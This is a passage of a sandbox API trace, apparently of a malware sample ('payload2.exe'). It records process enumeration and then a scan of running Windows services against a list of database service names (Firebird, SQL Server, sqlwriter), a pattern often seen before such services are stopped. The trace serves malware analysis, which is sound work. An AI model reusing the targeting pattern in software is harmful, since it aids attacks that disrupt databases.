	[0198.747] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0198.747] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0198.747] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0198.748] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0198.748] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0198.748] lstrlenW (lpString="payload2.exe") returned 12
	[0198.748] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0198.749] lstrlenW (lpString="conhost.exe") returned 11
	[0198.749] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0198.749] lstrlenW (lpString="dllhost.exe") returned 11
	[0198.749] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0198.750] lstrlenW (lpString="dllhost.exe") returned 11
	[0198.750] Process32NextW (in: hSnapshot=0x590, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0198.750] CloseHandle (hObject=0x590) returned 1
	[0198.750] Sleep (dwMilliseconds=0x1f4) 
	[0199.538] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x667fe8
	[0199.539] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0199.539] GetLastError () returned 0xea
	[0199.539] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x4472148
	[0199.540] EnumServicesStatusExW (in: hSCManager=0x667fe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4472148, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4472148, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0199.541] CloseServiceHandle (hSCObject=0x667fe8) returned 1
	[0199.541] lstrlenW (lpString="Appinfo") returned 7
	[0199.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0199.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0199.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0199.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0199.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0199.541] lstrlenW (lpString="AppXSvc") returned 7
	[0199.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0199.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0199.541] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0199.541] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0199.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0199.541] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0199.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0199.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0199.541] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0199.542] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0199.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0199.542] lstrlenW (lpString="Audiosrv") returned 8
	[0199.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0199.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0199.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0199.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0199.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0199.542] lstrlenW (lpString="BFE") returned 3
	[0199.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0199.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0199.542] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0199.542] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0199.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0199.542] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0199.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0199.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0199.542] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0199.542] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0199.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0199.542] lstrlenW (lpString="CDPSvc") returned 6
	[0199.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0199.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0199.542] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0199.542] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0199.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0199.542] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0199.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0199.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0199.542] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0199.543] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0199.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0199.543] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0199.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0199.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0199.543] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0199.543] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0199.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0199.543] lstrlenW (lpString="CryptSvc") returned 8
	[0199.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0199.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0199.543] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0199.543] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0199.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0199.543] lstrlenW (lpString="DcomLaunch") returned 10
	[0199.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0199.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0199.543] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0199.543] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0199.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0199.543] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0199.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0199.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0199.543] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0199.543] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0199.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0199.543] lstrlenW (lpString="Dhcp") returned 4
	[0199.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0199.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0199.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0199.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0199.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0199.544] lstrlenW (lpString="Dnscache") returned 8
	[0199.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0199.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0199.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0199.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0199.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0199.544] lstrlenW (lpString="DPS") returned 3
	[0199.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0199.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0199.544] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0199.544] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0199.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0199.544] lstrlenW (lpString="DusmSvc") returned 7
	[0199.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0199.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0199.544] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0199.544] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0199.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0199.544] lstrlenW (lpString="EventLog") returned 8
	[0199.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0199.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0199.544] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0199.544] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0199.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0199.544] lstrlenW (lpString="EventSystem") returned 11
	[0199.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0199.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0199.544] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0199.545] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0199.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0199.545] lstrlenW (lpString="FontCache") returned 9
	[0199.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0199.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0199.545] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0199.545] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0199.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0199.545] lstrlenW (lpString="gpsvc") returned 5
	[0199.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0199.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0199.545] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0199.545] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0199.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0199.545] lstrlenW (lpString="iphlpsvc") returned 8
	[0199.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0199.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0199.545] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0199.545] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0199.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0199.545] lstrlenW (lpString="KeyIso") returned 6
	[0199.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0199.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0199.545] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0199.545] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0199.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0199.545] lstrlenW (lpString="LanmanServer") returned 12
	[0199.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0199.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0199.546] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0199.546] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0199.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0199.546] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0199.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0199.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0199.546] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0199.546] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0199.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0199.546] lstrlenW (lpString="lfsvc") returned 5
	[0199.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0199.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0199.546] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0199.546] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0199.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0199.546] lstrlenW (lpString="lmhosts") returned 7
	[0199.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0199.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0199.546] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0199.546] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0199.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0199.546] lstrlenW (lpString="LSM") returned 3
	[0199.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0199.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0199.546] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0199.546] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0199.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0199.546] lstrlenW (lpString="MpsSvc") returned 6
	[0199.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0199.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0199.547] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0199.547] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0199.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0199.547] lstrlenW (lpString="NcbService") returned 10
	[0199.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0199.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0199.547] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0199.547] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0199.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0199.547] lstrlenW (lpString="netprofm") returned 8
	[0199.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0199.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0199.547] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0199.547] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0199.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0199.547] lstrlenW (lpString="NgcSvc") returned 6
	[0199.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0199.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0199.547] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0199.547] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0199.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0199.547] lstrlenW (lpString="NlaSvc") returned 6
	[0199.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0199.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0199.547] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0199.547] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0199.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0199.547] lstrlenW (lpString="nsi") returned 3
	[0199.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0199.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0199.548] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0199.548] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0199.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0199.548] lstrlenW (lpString="PcaSvc") returned 6
	[0199.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0199.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0199.548] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0199.548] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0199.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0199.548] lstrlenW (lpString="PlugPlay") returned 8
	[0199.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0199.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0199.548] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0199.548] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0199.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0199.548] lstrlenW (lpString="Power") returned 5
	[0199.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0199.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0199.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0199.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0199.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0199.548] lstrlenW (lpString="ProfSvc") returned 7
	[0199.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0199.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0199.548] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0199.548] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0199.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0199.548] lstrlenW (lpString="RpcEptMapper") returned 12
	[0199.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0199.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0199.549] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0199.549] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0199.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0199.549] lstrlenW (lpString="RpcSs") returned 5
	[0199.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0199.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0199.549] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0199.549] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0199.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0199.549] lstrlenW (lpString="SamSs") returned 5
	[0199.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0199.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0199.549] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0199.549] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0199.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0199.549] lstrlenW (lpString="Schedule") returned 8
	[0199.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0199.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0199.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0199.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0199.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0199.549] lstrlenW (lpString="SecurityHealthService") returned 21
	[0199.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0199.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0199.549] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0199.549] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0199.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0199.549] lstrlenW (lpString="SENS") returned 4
	[0199.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0199.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0199.550] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0199.550] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0199.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0199.550] lstrlenW (lpString="ShellHWDetection") returned 16
	[0199.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0199.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0199.550] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0199.550] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0199.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0199.550] lstrlenW (lpString="Spooler") returned 7
	[0199.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0199.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0199.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0199.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0199.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0199.550] lstrlenW (lpString="StateRepository") returned 15
	[0199.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0199.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0199.550] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0199.550] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0199.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0199.550] lstrlenW (lpString="SysMain") returned 7
	[0199.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0199.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0199.550] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0199.550] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
